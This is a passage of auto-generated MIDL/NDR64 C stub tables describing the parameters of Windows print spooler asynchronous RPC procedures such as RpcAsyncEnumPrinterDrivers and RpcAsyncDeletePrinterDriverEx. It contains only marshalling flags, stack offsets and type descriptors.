0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1103,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag693_t __midl_frag693 =\n{ \n/* RpcAsyncEnumPrintProcessors */\n    { \n    /* RpcAsyncEnumPrintProcessors */      /* procedure RpcAsyncEnumPrintProcessors */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 72 /* 0x48 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag942,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pEnvironment */      /* parameter pEnvironment */\n        &__midl_frag942,\n        { \n        /* pEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag948,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pPrintProcessorInfo */      /* parameter pPrintProcessorInfo */\n        &__midl_frag829,\n        { \n        /* pPrintProcessorInfo */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag1065,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag1065,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* pcReturned */      /* parameter pcReturned */\n        &__midl_frag1065,\n        { \n        /* pcReturned */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1065,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        64 /* 0x40 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag673_t __midl_frag673 =\n{ \n/* RpcAsyncDeletePrinterDriverEx */\n    { \n    /* RpcAsyncDeletePrinterDriverEx */      /* procedure RpcAsyncDeletePrinterDriverEx */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag942,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pEnvironment */      /* parameter pEnvironment */\n        &__midl_frag947,\n        { \n        /* pEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pDriverName */      /* parameter pDriverName */\n        &__midl_frag947,\n        { \n        /* pDriverName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* dwDeleteFlag */      /* parameter dwDeleteFlag */\n        &__midl_frag948,\n        { \n        /* dwDeleteFlag */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* dwVersionNum */      /* parameter dwVersionNum */\n        &__midl_frag948,\n        { \n        /* dwVersionNum */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag665_t __midl_frag665 =\n{ \n/* RpcAsyncDeletePrinterDriver */\n    { \n    /* RpcAsyncDeletePrinterDriver */      /* procedure RpcAsyncDeletePrinterDriver */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag942,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pEnvironment */      /* parameter pEnvironment */\n        &__midl_frag947,\n        { \n        /* pEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pDriverName */      /* parameter pDriverName */\n        &__midl_frag947,\n        { \n        /* pDriverName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag651_t __midl_frag651 =\n{ \n/* RpcAsyncGetPrinterDriverDirectory */\n    { \n    /* RpcAsyncGetPrinterDriverDirectory */      /* procedure RpcAsyncGetPrinterDriverDirectory */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag942,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pEnvironment */      /* parameter pEnvironment */\n        &__midl_frag942,\n        { \n        /* pEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag948,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pDriverDirectory */      /* parameter pDriverDirectory */\n        &__midl_frag829,\n        { \n        /* pDriverDirectory */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag948,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag948,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag635_t __midl_frag635 =\n{ \n/* RpcAsyncEnumPrinterDrivers */\n    { \n    /* RpcAsyncEnumPrinterDrivers */      /* procedure RpcAsyncEnumPrinterDrivers */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 72 /* 0x48 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag942,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pEnvironment */      /* parameter pEnvironment */\n        &__midl_frag942,\n        { \n        /* pEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag948,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pDrivers */      /* parameter pDrivers */\n        &__midl_frag829,\n        { \n        /* pDrivers */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag948,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag948,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* pcReturned */      /* parameter pcReturned */\n        &__midl_frag948,\n        { \n        /* pcReturned */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        64 /* 0x40 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag632_t __midl_frag632 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag613\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag616\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag625\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag629\n    }\n};\n\nstatic const __midl_frag630_t __midl_frag630 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 196 /* 0xc4 */\n    }\n};\n\nstatic const __midl_frag629_t __midl_frag629 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag630\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag897\n    }\n};\n\nstatic const __midl_frag626_t __midl_frag626 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 168 /* 0xa8 */\n    }\n};\n\nstatic const __midl_frag625_t __midl_frag625 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag626\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag897\n    }\n};\n\nstatic const __midl_frag617_t __midl_frag617 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 88 /* 0x58 */\n    }\n};\n\nstatic const __midl_frag616_t __midl_frag616 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag617\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag897\n    }\n};\n\nstatic const __midl_frag614_t __midl_frag614 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 72 /* 0x48 */\n    }\n};\n\nstatic const __midl_frag613_t __midl_frag613 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag614\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag897\n    }\n};\n\nstatic const __midl_frag604_t __midl_frag604 =\n{ \n/* RPC_DRIVER_INFO_8 */\n    { \n    /* RPC_DRIVER_INFO_8 